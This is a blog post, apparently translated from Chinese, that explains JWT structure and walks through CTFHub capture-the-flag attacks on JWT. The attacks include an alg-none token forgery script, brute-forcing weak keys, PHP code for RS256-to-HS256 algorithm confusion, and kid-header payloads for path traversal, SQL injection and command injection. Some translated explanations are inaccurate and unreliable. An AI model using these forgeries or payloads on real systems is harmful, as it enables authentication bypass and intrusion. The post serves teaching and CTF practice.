JWT security issues

Posted by jestaji on Thu, 10 Feb 2022 12:58:59 +0100

JWT overview

Json Web Token (JWT) is a JSON based open standard implemented to transfer declarations between network application environments.
The declaration of JWT is generally used to transfer the authenticated user identity information between identity providers and service providers, so as to obtain resources from the resource server. Some additional declaration information necessary for other business logic can also be added. The token can also be directly used for authentication or encrypted.

When the client communicates with the server, the server will generate and return a JSON object with signature after authentication. The client stores the object and attaches the JSON object to subsequent communication for authentication.

The difference between JWT and session
1. When session is used as identity authentication, the server will generate a sessionID and return it. The client usually saves this sessionID in a cookie. The session information stored in the session is stored in the server. Each time the user queries, he depends on the session ID to view the stored session related information. In this way, with more and more authenticated users, it will cause great pressure on the server.
2.JWT is only stored locally. When the server receives a request with JWT, it will verify the signature to judge the legitimacy of the request identity. The server does not save session related data. In essence, it is a behavior of cpu exchanging storage space, which reduces the storage pressure of the server.

JWT composition

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

jwt is a string, which consists of three parts: header, payload and signature. Each part is written in separate. Simply put

Header.Payload.Signature

Header

The header mainly stores two parts of information

  1. The alg attribute represents the algorithm of token signature. The most commonly used algorithms are HMAC and RSA
  2. The typ attribute indicates the type of the token. JWT tokens are uniformly written as JWT.

Payload

The Payload part is also a JSON object, which is used to store the information that needs to be transmitted. Information is divided into three categories

  • Official statement
  • Public statement

The official statement contains seven parts

  • iss: jwt issuer
  • Sub: the user JWT is targeting
  • aud: party receiving jwt
  • Exp: the expiration time of JWT, which must be greater than the issuing time
  • nbf: define the time before which the jwt is unavailable
  • IAT: issuing time of JWT
  • JTI: the unique identity of JWT, which is mainly used as a one-time token to avoid replay attacks.

Public statement
Any information can be added to the public statement. Generally, the user's relevant information or other necessary information required by the business can be added.
This part can be decoded into plaintext on the client, so it is not recommended to store sensitive information.

After decoding the second part above, you can see that name is the user-defined information

{
  "sub": "1234567890",
  "name": "John Doe",
  "iat": 1516239022
}

Signature

The Signature part is the Signature of the first two parts to prevent data tampering.
After specifying a key that only the server knows, encrypt the Base64 contents of the first two parts according to the algorithm specified in the header. The algorithm is as follows

// javascript
var encodedString = base64UrlEncode(header) + '.' + base64UrlEncode(payload);

var signature = HMACSHA256(encodedString, 'secret');

Safety issues of JWT

Disclosure of sensitive information

As the name suggests, Jwt has sensitive information in the plaintext decoded by Base64
Take the title of CTFHub as an example

You can see the authentication form of JWT after login

After decoding, you can get the flag

None algorithm

JWT supports null encryption algorithm. Set the alg field of header to None and set the signature field to null.
node's jsonwentoken library has known defects: when jwt's secret is null or undefined, jsonwebtoken will use algorithm to verify for none
Also take a CTFhub topic as an example

After logging in, the server returns the JWT field and reports to / index PHP sends a request with the JWT field just logged in
Display after login
Prompt to log in as admin
Decode JWT to view content

Here, modifying the role content directly will expose 302 errors, so first modify the alg field to None, and then set the signature to null
because https://jwt.io/#debugger JWT with alg of None is not supported, so PyJWT is used

import jwt

if __name__ == '__main__':
    dic = {
        "username": "kit",
        "password": "123",
        "role": "admin"
    }

    s = jwt.encode(dic,algorithm="none",key="")
    print(s)
# eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImtpdCIsInBhc3N3b3JkIjoiMTIzIiwicm9sZSI6ImFkbWluIn0.

You can get the flag after replacing JWT

Weak key

If JWT adopts symmetric encryption algorithm and the strength of the key is weak, the attacker can directly crack the key through brute force attack
Blasting tools:
c-jwt-cracker It seems that this tool can only explode character sequences exhaustively
JWTPyCrack The key can be extracted from the dictionary and exploded
You can also write your own script and use PyJWT to generate jwt fields according to different key s and compare them.

There is a pit when using JWT pycrack tool. The installed PyJWT must be before 1.7.1, and the later version modifies JWT The decode function will report an error
pip install pyjwt==1.7.1

Take the weak secret key problem in CTFHub as an example

Burst statement

python jwtcrack.py -m blasting -s eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.BjioeRRMXdEadknYF5ujoLTZ9WhaFXCI2OdmEUangDk --kf D:\web\tool\JWTPyCrack\dic.txt

I changed some dictionaries and didn't burst out
You have to use c-jwt-cracker to exhaust

After blasting out the secret key, you can directly replace admin and generate a flag

Modified algorithm (asymmetric algorithm – > symmetric algorithm)

The two most commonly used algorithms in JWT are HMAC and RSA

HMAC(HS256): a symmetric encryption algorithm that uses a public key to sign and verify each message
RSA(RS256): it is an asymmetric encryption algorithm, which uses the private key to encrypt the plaintext and the public key to decrypt the ciphertext.

After the algorithm is modified from asymmetric algorithm to symmetric algorithm, the original only private key of the server is stolen, and the signature encrypted by the private key can be encrypted by the public key. The public key is possible to be obtained by the client, so as to forge JWT.
Also take the topic of CTFHub as an example

Enter the topic to see the source code

<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8" />
        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
        <title>CTFHub JWTDemo</title>
        <link rel="stylesheet" href="/static/style.css" />
    </head>
    <body>
        <main id="content">
            <header>Web Login</header>
            <form id="login-form" method="POST">
                <input type="text" name="username" placeholder="Username" />
                <input type="password" name="password" placeholder="Password" />
                <input type="submit" name="action" value="Login" />
            </form>
            <a href="/publickey.pem">publickey.pem</a>
        </main>
        <?php echo $_COOKIE['token'];?>
        <hr/>
    </body>
</html>

JWT processing related codes

<?php
require __DIR__ . '/vendor/autoload.php';
use \Firebase\JWT\JWT;

class JWTHelper {
  public static function encode($payload=array(), $key='', $alg='HS256') {
    return JWT::encode($payload, $key, $alg);
  }
  public static function decode($token, $key, $alg='HS256') {
    try{
            $header = JWTHelper::getHeader($token);
            $algs = array_merge(array($header->alg, $alg));
      return JWT::decode($token, $key, $algs);
    } catch(Exception $e){
      return false;
    }
    }
    public static function getHeader($jwt) {
        $tks = explode('.', $jwt);
        list($headb64, $bodyb64, $cryptob64) = $tks;
        $header = JWT::jsonDecode(JWT::urlsafeB64Decode($headb64));
        return $header;
    }
}

$FLAG = getenv("FLAG");
$PRIVATE_KEY = file_get_contents("/privatekey.pem");
$PUBLIC_KEY = file_get_contents("./publickey.pem");

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (!empty($_POST['username']) && !empty($_POST['password'])) {
        $token = "";
        if($_POST['username'] === 'admin' && $_POST['password'] === $FLAG){
            $jwt_payload = array(
                'username' => $_POST['username'],
                'role'=> 'admin',
            );
            $token = JWTHelper::encode($jwt_payload, $PRIVATE_KEY, 'RS256');
        } else {
            $jwt_payload = array(
                'username' => $_POST['username'],
                'role'=> 'guest',
            );
            $token = JWTHelper::encode($jwt_payload, $PRIVATE_KEY, 'RS256');
        }
        @setcookie("token", $token, time()+1800);
        header("Location: /index.php");
        exit();
    } else {
        @setcookie("token", "");
        header("Location: /index.php");
        exit();
    }
} else {
    if(!empty($_COOKIE['token']) && JWTHelper::decode($_COOKIE['token'], $PUBLIC_KEY) != false) {
        $obj = JWTHelper::decode($_COOKIE['token'], $PUBLIC_KEY);
        if ($obj->role === 'admin') {
            echo $FLAG;
        }
    } else {
        show_source(__FILE__);
    }
}

Directly look at the conditions of echo $FLAG statement. When the request method is not POST, enter the else branch. The token field in the Cookie is not empty, and a flag will pop up when the role field is admin after jwt is decoded by the decode method of JWTHelper.
Next, look at the decode method. Use getHeader to get the header part of jwt, and get the algorithm used from the header. Therefore, we can construct a jwt of HS256 and encrypt the public key file provided by the page to pass the verification.
If the python script is used here, an error may be reported, JWT exceptions. InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret. The key provided is asymmetric and cannot be used for symmetric encryption algorithms.
Probably searched for a solution jwt-encoding-using-hmac-with-asymmetric-key-as-secret Look, the answer is to use the pyjwt library a long time ago. Therefore, we can directly build a php environment with the same title locally to generate jwt.

composer require firebase/php-jwt

Local code

<?php
use \Firebase\JWT\JWT; //A class that uses a namespace cannot be imported

require "vendor/autoload.php";

class JWTHelper {
    public static function encode($payload=array(), $key='', $alg='HS256') {
        return JWT::encode($payload, $key, $alg);
    }
    public static function decode($token, $key, $alg='HS256') {
        try{
            $header = JWTHelper::getHeader($token);
            $algs = array_merge(array($header->alg, $alg));
            return JWT::decode($token, $key, $algs);
        } catch(Exception $e){
            return false;
        }
    }
    public static function getHeader($jwt) {
        $tks = explode('.', $jwt);
        list($headb64, $bodyb64, $cryptob64) = $tks;
        $header = JWT::jsonDecode(JWT::urlsafeB64Decode($headb64));
        return $header;
    }
}


$PUBLIC_KEY = file_get_contents("./publickey.pem");
// Test decryption
$encodejwt = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6ImtpdCIsInJvbGUiOiJndWVzdCJ9.tUtCTMPsSqAy9kv47OhDneYfeBfYiELXkM7pPa4h1TlYihj_B9yy3vtMH4s8bXeeV4AJOeFsqTIM_18C7cfclsm7xCyNy5uQtRu3uQBO_8huUcKhjzWovfZ6pM_GJKha5LHFNqji0dawc4cy7GGOau7aR9GAPip8UHTiUqdn26-33VfNQ9xuV7l34SPxd9D1kxFFcUoDC1bVOHveN0TAW0_FjNijhOk4dqtlGV4uYnYFa1tWMQhaiwaw2A4e7EEJiDNCZD9uTdPUBh6H8lQMR0QFfLGHD4qAN8nzO-G5PlXkxOskGHMjnI1sXnsEl7s1lacS7Kb6HdyPn3NaU0xVUA';
$decoderjwt =JWTHelper::decode($encodejwt, $PUBLIC_KEY,'RS256');
var_dump($decoderjwt);
// test result
// object(stdClass)#4 (2) { ["username"]=> string(3) "kit" ["role"]=> string(5) "guest" }

// Generate payload
$jwt_payload = array(
    'username' => 'kit',
    'role' => 'admin',
);
$token = JWTHelper::encode($jwt_payload,$PUBLIC_KEY,'HS256');
echo $token."<br>";

// Test generated payload
if(JWTHelper::decode($token,$PUBLIC_KEY)!=false){
    $res = JWTHelper::decode($token,$PUBLIC_KEY);
    if($res->role === 'admin'){
        echo "get flag";
    }
}

// Generated and tested results
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImtpdCIsInJvbGUiOiJhZG1pbiJ9.uTl0zwSzDdJNd4VcTbamqZNn1bspovSx4CgHffvkUVk
get flag

The flag can be obtained after the intercepted message is replaced

Modify kid parameters

Kid is an optional parameter in jwt header. Its full name is key ID, which is used to specify the key of the encryption algorithm. We can attack directory traversal, sql injection and command injection by modifying kid parameters

#directory traversal 
{
    "alg" : "HS256",
    "typ" : "jwt",
    "kid" : "/etc/passwd"
}
#sql injection
{
    "alg" : "HS256",
    "typ" : "jwt",
    "kid" : "aaaaaaa' UNION SELECT 'key';-- "
#Command execution
{
    "alg" : "HS256",
    "typ" : "jwt",
    "kid" : "/path/to/key_file|whoami"
}

Modify JKU/X5U parameters

Similar to kid, it can be input by the user. If it is not strictly filtered, you can specify a set of customized key files and specify the web application to use this set of keys to verify the token.

The full name of JKU is "JWKSet URL", which is an optional field in the header to specify the URL linked to a set of encrypted token keys. If this field is allowed and no qualification is set, the attacker can host his own key file and specify the application to authenticate the token.

The XSU header parameter allows an attacker to verify the public key certificate or certificate chain of the Token

Reference article:
https://www.wolai.com/ctfhub/hcFRbVUSwDUD1UTrPJbkob
https://jwt.io/#debugger
https://xz.aliyun.com/t/9376#toc-4
https://github.com/brendan-rius/c-jwt-cracker

Topics: Web Security